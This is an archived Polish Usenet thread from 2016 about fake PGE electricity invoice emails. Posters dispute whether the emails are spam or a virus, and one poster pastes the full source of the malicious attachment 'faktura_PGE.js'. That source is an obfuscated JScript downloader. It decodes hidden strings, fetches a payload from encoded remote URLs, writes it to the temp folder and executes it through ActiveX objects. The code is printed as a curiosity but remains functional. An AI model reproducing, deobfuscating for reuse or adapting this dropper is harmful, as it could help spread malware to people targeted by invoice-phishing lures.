🚀 go-pugleaf

W dniu 08.06.2016 o 15:32, Andrzej Stróżyński pisze:
> W dniu 2016-06-08 o 12:56, Waldek Godel pisze:
>> Dnia Wed, 8 Jun 2016 11:59:43 +0200, Piotr Lechowicz napisał(a):
>>
>>> Oczywiście prądu od PGE nigdy nie kupowałem.
>>>
>>
>> To jest wirus a nie spam.
>> Typowe metody blokowania spamu tu się nie sprawdzą.
>
> Że zamiast reklamy jest link do wirusa?
> Masowo wysyłana, niezamawiana korespondencja to SPAM.
> Od trzech dni dostaję, codziennie z innego adresu.

tak tak, spam. Na pewno wysłany z PGE. Zajrzałbyś chociaz do nagłowków i 
nie gadał głupot. O tym że link prowadzi na jakis trefny serwer to widać 
na pierwszy rzut z linka. Dla ciekawych poniżej kod z tej "faktury" 
(faktura_PGE.js):

function Tzdvv() {
	var CLkeSdGK = "eof W";
	return CLkeSdGK;
}
function INn() {
	var PAvhJ = "pt.StdI";
	var fHTzy = ["yp" + Tzdvv() + "S", "cri" + PAvhJ + "n"];
	var XLqBHzrx = "t" + fHTzy[0] + fHTzy[1];
	return XLqBHzrx;
}
function rhMkmBh(AaxjET) {
	var paMz = 'eva';
	return new Function('e', 'return ' + paMz + 'l(e);')(AaxjET);
}
function BRjjPis(cbkxqdR) {
	var FDKq = 'rseI';
	return new Function('e', 'return pa' + FDKq + 'nt(e);')(cbkxqdR);
}
function WXY() {
	var AQmHzENg = "leng";
	return AQmHzENg;
}
function uRaxm(Mlq, pyukYU) {
	var nFrkrI = "'.cha";
	var Yhdwitw = new Function("return '" + Mlq + nFrkrI + "rAt(" + pyukYU 
+ ");")();
	return Yhdwitw;
}
function DVjQQ(weQp) {
	if (rhMkmBh(INn()) == ["object"][0]) {
		var TBzwmPnM = [
			[''][0]
		][0];
		var zufehmB = 0;
		var RTFjB = 'WHaKpHXZjuNFOF';
	}
	var hJuDR = RTFjB[WXY() + "th"];
	var aMHBleO = 0;
	var rAHR = "";
	var MVcYxxQq = weQp[WXY() + "th"];
	while (aMHBleO < MVcYxxQq - 2) {
		var ZSth = [(0)][(0)];
		var OLtCLf = aMHBleO + 1;
		var nqnb = uRaxm(weQp, OLtCLf);
		var FCZwx = uRaxm(weQp, aMHBleO + 2);
		var szLPXCf = uRaxm(weQp, aMHBleO);
		rAHR = szLPXCf + nqnb + FCZwx;
		var CXtJziuS = uRaxm(weQp, aMHBleO);
		var gXUuoiv = uRaxm(weQp, aMHBleO + 1);
		var WiYxW102 = (gXUuoiv == 0);
		if (CXtJziuS == ZSth) {
			var ftTHySjw = aMHBleO + 1;
			var TWuoP = aMHBleO + 2;
			var uMZO = uRaxm(weQp, TWuoP);
			rAHR = uRaxm(weQp, ftTHySjw) + uMZO;
		}
		var ikIX = uRaxm(weQp, aMHBleO);
		var WiYxW101 = (ikIX == 0);
		if (WiYxW101 && WiYxW102) {
			var BOfuvEn = aMHBleO + 2;
			rAHR = uRaxm(weQp, BOfuvEn);
		}
		zufehmB = BRjjPis(rAHR);
		var bzyXTM = aMHBleO / 3;
		var YhzYWBg = bzyXTM % hJuDR;
		var jdqz = "arCodeAt";
		var WiYxW = RTFjB["ch" + jdqz](YhzYWBg);
		zufehmB = zufehmB ^ WiYxW;
		var SsHf = String;
		var JEvGxitv = "CharCode";
		TBzwmPnM = TBzwmPnM + SsHf["from" + JEvGxitv](zufehmB);
		var TtluA = 3;
		aMHBleO = aMHBleO + TtluA;
	}
	return TBzwmPnM;
}
var PYjrQZlY = "020036014056021";
var MvQScQ = 
"004043019034000060049052013091008047035035004049018063021037023056000016045050";
var YHFyorXSy = "003049017046";
var DUlNzGMy = "036045015047";
var vhA = "035049017046031046120013057022060047063050121024000063024";
var pWUDxy = "000027002057025056044116057029043042035";
var sGkxkAtfd = "056056004037";
var jgHanW = "026027057006060122118002039057006018027022";
var tCtuGpR = "016013053";
var ZFYRqn = 
"063060021059074103119044011022047040044035036101008039021059117062015088060035057035121043014038095046042059004022043036063054059041015056006041059059004022043053096049039101008037019036045062015006097032038042050102004051021";
var iCSINbJrp = "000058008063021";
var bmSvuCSP = "005045018059031038043063040026042063";
var gSiOdui = "004060000063005059";
var dFC = "000027002057025056044";
var wurpNYAk = "016045021024000045059051011025008041035034050058";
var adVxbx = 
"063060021059074103119051009026096039060053056102007057095063040119009026032050042040035103017039005047049052025090035042098053059033005046002103062051006016096035055035";
var SLpJn = "036060019034030047";
var MhLuMjIe = "007039018034004033055052";
var Yre = "016045021031021037040020011024043";
var ACWC = "004041023046036039030051006016";
var dHpeqHu = "037061015";
var ujFvZYX = "052037005101021048061122069022110";
var DoXLOa = "022012046015050102011046024016047043";
var aEodv = "024056004037";
var mjSkkDx = DVjQQ(SLpJn);
var HVjHFeL = DVjQQ(vhA);
var pKwR = eval(HVjHFeL);
var ebbUvTj = DVjQQ(dFC);
var sTiBMsMp = eval(ebbUvTj);

function eIjmP() {
	var xXMGErLq = DVjQQ(adVxbx);
	return xXMGErLq;
}
function RoAy() {
	try {
		if (pKwR == mjSkkDx) {
			var bbSSQX = DVjQQ(jgHanW);
			var SSoMbkeV = sTiBMsMp;
			var FILsX = '';
			if (dQhpALI) {
				FILsX = eIjmP();
			} else {
				FILsX = DVjQQ(ZFYRqn);
			}
			var PVnwAE = new[ActiveXObject][0](bbSSQX);
			var QajS = DVjQQ(DoXLOa);
			var bJRVBKko = DVjQQ(tCtuGpR);
			PVnwAE[DVjQQ(sGkxkAtfd)](bJRVBKko, FILsX, false);
			try {
				PVnwAE[DVjQQ(DUlNzGMy)]();
			} catch (exyZ) {
				dQhpALI = true;
				RoAy();
			}
			var usHNXpy = DVjQQ(MvQScQ);
			var nagio = new ActiveXObject(usHNXpy);
		}
		if (PVnwAE[DVjQQ(gSiOdui)] == 200) {
			var ITKzUU = new ActiveXObject(QajS);
			var OVbFR = DVjQQ(Yre);
			var pbRbwj = '\\' + nagio[OVbFR]();
			var khYIylJ = nagio[DVjQQ(wurpNYAk)](2) + pbRbwj;
			ITKzUU[DVjQQ(aEodv)]();
			var tXgcRR = DVjQQ(pWUDxy);
			ITKzUU[DVjQQ(YHFyorXSy)] = 1;
			var LLUzHW = new ActiveXObject(tXgcRR);
			var zzvB = PVnwAE[DVjQQ(bmSvuCSP)];
			ITKzUU[DVjQQ(iCSINbJrp)](zzvB);
			ITKzUU[DVjQQ(MhLuMjIe)] = 0;
			ITKzUU[DVjQQ(ACWC)](khYIylJ);
			ITKzUU[DVjQQ(PYjrQZlY)]();
			var wXBfh = DVjQQ(ujFvZYX) + khYIylJ;
			LLUzHW[DVjQQ(dHpeqHu)](wXBfh, 0);
		} else {
			if (dQhpALI == false) {
				dQhpALI = true;
				RoAy();
			}
		}
	} catch (e) {}
}
var dQhpALI = false;
if (pKwR == mjSkkDx) RoAy();


-- 
Arni